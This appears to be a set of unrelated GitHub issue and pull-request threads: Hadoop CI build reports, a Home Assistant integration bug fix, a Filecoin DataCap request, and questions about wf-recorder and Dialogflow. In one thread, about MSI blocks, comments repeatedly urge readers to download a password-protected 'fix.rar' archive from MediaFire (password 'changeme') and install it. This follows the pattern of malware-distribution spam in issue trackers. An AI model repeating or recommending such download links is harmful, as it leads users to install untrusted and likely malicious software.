root: The patch generated 37 new + 70 unchanged - 4 fixed = 107 total (was 74)

+1
mvnsite
125
the patch passed

+1
whitespace
0
The patch has no whitespace issues.

+1
xml
3
The patch has no ill-formed XML file.

+1
shadedclient
708
patch has no errors when building and testing our client artifacts.

+1
javadoc
94
the patch passed

+1
findbugs
207
the patch passed

_ Other Tests _

+1
unit
579
hadoop-common in the patch passed.

+1
unit
302
hadoop-aws in the patch passed.

+1
asflicense
61
The patch does not generate ASF License warnings.

7379

Subsystem
Report/Notes

Docker
Client=17.05.0-ce Server=17.05.0-ce base: https://builds.apache.org/job/hadoop-multibranch/job/PR-824/1/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/824

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient xml findbugs checkstyle

uname
Linux eb106d1c9d2e 3.13.0-153-generic #203-Ubuntu SMP Thu Jun 14 08:52:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
personality/hadoop.sh

git revision
trunk / de01422

Default Java
1.8.0_212

checkstyle
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/1/artifact/out/diff-checkstyle-root.txt

Test Results
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/1/testReport/

Max. process+thread count
1346 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-tools/hadoop-aws U: .

Console output
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/1/console

versions
git=2.7.4 maven=3.3.9 findbugs=3.1.0-RC1

Powered by
Apache Yetus 0.10.0 http://yetus.apache.org

This message was automatically generated.

tested: s3 london, versioned store, s3guard auth mode.
Also tested versioning tests against us-west + unguarded; outcome there was those tests which require versioning were skipped (i.e. probes for versioning work)

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

0
reexec
53
Docker mode activated.

_ Prechecks _

+1
dupname
2
No case conflicting files found.

+1
@author
0
The patch does not contain any @author tags.

+1
test4tests
0
The patch appears to include 25 new or modified test files.

_ trunk Compile Tests _

0
mvndep
63
Maven dependency ordering for branch

+1
mvninstall
1027
trunk passed

+1
compile
1073
trunk passed

+1
checkstyle
138
trunk passed

+1
mvnsite
132
trunk passed

+1
shadedclient
991
branch has no errors when building and testing our client artifacts.

+1
javadoc
106
trunk passed

0
spotbugs
67
Used deprecated FindBugs config; considering switching to SpotBugs.

+1
findbugs
188
trunk passed

_ Patch Compile Tests _

0
mvndep
23
Maven dependency ordering for patch

+1
mvninstall
81
the patch passed

+1
compile
992
the patch passed

+1
javac
992
the patch passed

-0
checkstyle
135
root: The patch generated 21 new + 70 unchanged - 4 fixed = 91 total (was 74)

+1
mvnsite
110
the patch passed

+1
whitespace
0
The patch has no whitespace issues.

+1
xml
3
The patch has no ill-formed XML file.

+1
shadedclient
614
patch has no errors when building and testing our client artifacts.

+1
javadoc
83
the patch passed

+1
findbugs
197
the patch passed

_ Other Tests _

+1
unit
507
hadoop-common in the patch passed.

+1
unit
285
hadoop-aws in the patch passed.

+1
asflicense
39
The patch does not generate ASF License warnings.

6840

Subsystem
Report/Notes

Docker
Client=17.05.0-ce Server=17.05.0-ce base: https://builds.apache.org/job/hadoop-multibranch/job/PR-824/3/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/824

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient xml findbugs checkstyle

uname
Linux 7c3e9714ab5b 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
personality/hadoop.sh

git revision
trunk / c183bd8

Default Java
1.8.0_212

checkstyle
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/3/artifact/out/diff-checkstyle-root.txt

Test Results
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/3/testReport/

Max. process+thread count
1573 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-tools/hadoop-aws U: .

Console output
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/3/console

versions
git=2.7.4 maven=3.3.9 findbugs=3.1.0-RC1

Powered by
Apache Yetus 0.10.0 http://yetus.apache.org

This message was automatically generated.

:confetti_ball: +1 overall

Vote
Subsystem
Runtime
Comment

0
reexec
42
Docker mode activated.

_ Prechecks _

+1
dupname
1
No case conflicting files found.

+1
@author
0
The patch does not contain any @author tags.

+1
test4tests
0
The patch appears to include 25 new or modified test files.

_ trunk Compile Tests _

0
mvndep
61
Maven dependency ordering for branch

+1
mvninstall
1124
trunk passed

+1
compile
1178
trunk passed

+1
checkstyle
135
trunk passed

+1
mvnsite
126
trunk passed

+1
shadedclient
1030
branch has no errors when building and testing our client artifacts.

+1
javadoc
128
trunk passed

0
spotbugs
79
Used deprecated FindBugs config; considering switching to SpotBugs.

+1
findbugs
223
trunk passed

_ Patch Compile Tests _

0
mvndep
24
Maven dependency ordering for patch

+1
mvninstall
96
the patch passed

+1
compile
1609
the patch passed

+1
javac
1609
the patch passed

-0
checkstyle
158
root: The patch generated 37 new + 70 unchanged - 4 fixed = 107 total (was 74)

+1
mvnsite
135
the patch passed

+1
whitespace
1
The patch has no whitespace issues.

+1
xml
3
The patch has no ill-formed XML file.

+1
shadedclient
799
patch has no errors when building and testing our client artifacts.

+1
javadoc
108
the patch passed

+1
findbugs
234
the patch passed

_ Other Tests _

+1
unit
633
hadoop-common in the patch passed.

+1
unit
297
hadoop-aws in the patch passed.

+1
asflicense
57
The patch does not generate ASF License warnings.

8240

Subsystem
Report/Notes

Docker
Client=17.05.0-ce Server=17.05.0-ce base: https://builds.apache.org/job/hadoop-multibranch/job/PR-824/2/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/824

Optional Tests
dupname asflicense compile javac javadoc mvninstall mvnsite unit shadedclient xml findbugs checkstyle

uname
Linux b3dbd74efbba 3.13.0-153-generic #203-Ubuntu SMP Thu Jun 14 08:52:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
personality/hadoop.sh

git revision
trunk / c183bd8

Default Java
1.8.0_212

checkstyle
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/2/artifact/out/diff-checkstyle-root.txt

Test Results
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/2/testReport/

Max. process+thread count
1346 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-tools/hadoop-aws U: .

Console output
https://builds.apache.org/job/hadoop-multibranch/job/PR-824/2/console

versions
git=2.7.4 maven=3.3.9 findbugs=3.1.0-RC1

Powered by
Apache Yetus 0.10.0 http://yetus.apache.org

This message was automatically generated.

merged into #794


Error when using 'ESPSomfy RTS: Set Position' service

Great Integration, exactly what I needed, thanks! I updated the integration yesterday and wanted to use the set position state. When I select a shade and set a percentage (e.g., 20) I get the following error:
extra keys not allowed @ data['position']. Got None

The open and close services work perfectly, any idea?

Uggh,  I set the wrong attribute to the position value.  Update to v1.0.11 and this should be fixed for the services.

Thanks for the quick fix. I got it running after casting the string kwargs[ATTR_POSITION] variable to an integer in cover.py:217. Thanks!
Traceback (most recent call last):
  File "/usr/src/homeassistant/homeassistant/components/websocket_api/decorators.py", line 26, in _handle_async_response
    await func(hass, connection, msg)
  File "/usr/src/homeassistant/homeassistant/components/websocket_api/commands.py", line 647, in handle_execute_script
    await script_obj.async_run(msg.get("variables"), context=context)
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 1533, in async_run
    await asyncio.shield(run.async_run())
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 410, in async_run
    await self._async_step(log_exceptions=False)
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 454, in _async_step
    self._handle_exception(
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 477, in _handle_exception
    raise exception
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 452, in _async_step
    await getattr(self, handler)()
  File "/usr/src/homeassistant/homeassistant/helpers/script.py", line 685, in _async_call_service_step
    await service_task
  File "/usr/src/homeassistant/homeassistant/core.py", line 1820, in async_call
    task.result()
  File "/usr/src/homeassistant/homeassistant/core.py", line 1857, in _execute_service
    await cast(Callable[[ServiceCall], Awaitable[None]], handler.job.target)(
  File "/usr/src/homeassistant/homeassistant/helpers/entity_platform.py", line 809, in handle_service
    await service.entity_service_call(
  File "/usr/src/homeassistant/homeassistant/helpers/service.py", line 798, in entity_service_call
    future.result()  # pop exception if have
  File "/usr/src/homeassistant/homeassistant/helpers/entity.py", line 977, in async_request_call
    await coro
  File "/usr/src/homeassistant/homeassistant/helpers/service.py", line 838, in _handle_entity_call
    await result
  File "/config/custom_components/espsomfy_rts/cover.py", line 217, in async_set_cover_position
    self._shade_id, 100 - kwargs[ATTR_POSITION]
TypeError: unsupported operand type(s) for -: 'int' and 'str'

v1.0.12 has been published.  I added coercion to the service schema so all input values for position and tilt_position are coerced into integer values.  This would have worked fine if your service call was using ints not strings but now it will perform that conversion before making the call.

Great, thank you, with the new version, I don't get any errors.


Client Allocation Request for: 上海源信网络科技有限公司

Client Allocation Questions
Core Information

Name: 上海源信网络科技有限公司
Website / Social Media: https://www.yuanxinw.com
DataCap Requested: 5TiB
Addresses to be Notarized: f136nhmmb42kgpynripng7ceec4z5mxptgejmhppa
Notary Requested: andrewxhill

Hi @yuanxinw-network, as a first step could you first verify what region you are operating in? This may include where you company//organization is based, where your technology is based, and where your customers are based.

Hi @yuanxinw-network, as a first step could you first verify what region you are operating in? This may include where you company//organization is based, where your technology is based, and where your customers are based.

Hi, thanks for your response.
Q: as a first step could you first verify what region you are operating in? This may include where you company//organization is based, where your technology is based, and where your customers are based.
A: This is Yuanxin network found in 2018 which provide network data access and cloud store and computing platform service. Our organization is based on Shanghai of China.

hey @yuanxinw-network thanks for the info, it sounds like a great project. We're not focusing on the China region at this time, you should re-apply with a Notary that is focused on that area. You can find that info in the Location column of the verifiers table https://plus.fil.org/verifiers.

Thank you for your response.
I will apply a notary located in your region.


As camera with meets give a mirrored image

Hello there!
I got a question and I dunno where to ask it.
I just discovered this : https://github.com/ammen99/wf-recorder/pull/43 and I instantly tried it. Wayland screen sharing is not implemented by the common conferencial talk tools and wf could save my life.
The problem is the Meet (google) video is mirrored horizontally. I guess I can manage this with the -x argument but I don't know what to use :/
Does anyone can help ?
Ty by advance !

I just guess meet actually provide a mirrored image. I dunno how to force it not to do it.
Maybe a can pre-mirror the output with wf-recorder ?

Closed, in fact I only can see the mirrored output huhu  The other people see the real output


Close mic on response

How can I tell Dialogflow to not expect a response from the user (close the mic)?
In your samples I saw only the use of agent.add() with phrases that expect always a response.
Something like ask/tell (now ask/close) in actions-on-google.

+1
In DialogFlow console we have the switch to enable "Set this intent as end of conversation" after a text response.
My guess is that the answer relates to the DialogflowConversation object, agent.conv() in the following excerpt
const { WebhookClient } = require('dialogflow-webhook');
const agent = new WebhookClient({request: request, response: response});
let conv = agent.conv();
conv.ask('Hi from the Actions on Google client library');
agent.add(conv);

is there any DialogflowConversation documentation?

Exactly, I know there is the switch on the backend, but I need to handle it at runtime from my webhook.
From actions-on-google is easy because of ask() and close()

@Iridio the concept of "End Conversation" is Actions on Google feature. As you can read in Actions on Google: Build Fulfillment

Actions on Google lets you specify platform-specific settings for the intent. Currently, only End conversation is supported. This closes the mic and ends the conversation after the corresponding response is returned to the user. This setting only honored if you don't use fulfillment for the intent.

Then, if you want to implement in your own client you have to create a custom payload or read google's one.


Add a feature that adds the inspect code property to different MSI blocks

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Add initial js integration test

Also updated the admin api to not need &mut self.
Partial closing of #2.

I'm getting this error when running locally

I'm getting this error when running locally (with websocket proxy running)

Hmm... It could be a few things. I think that error usually means that it timed out though. I'm not sure why though. The wasm tests timeout after 20 seconds. We might wanna up that so that it's the same as fluvio's timeout.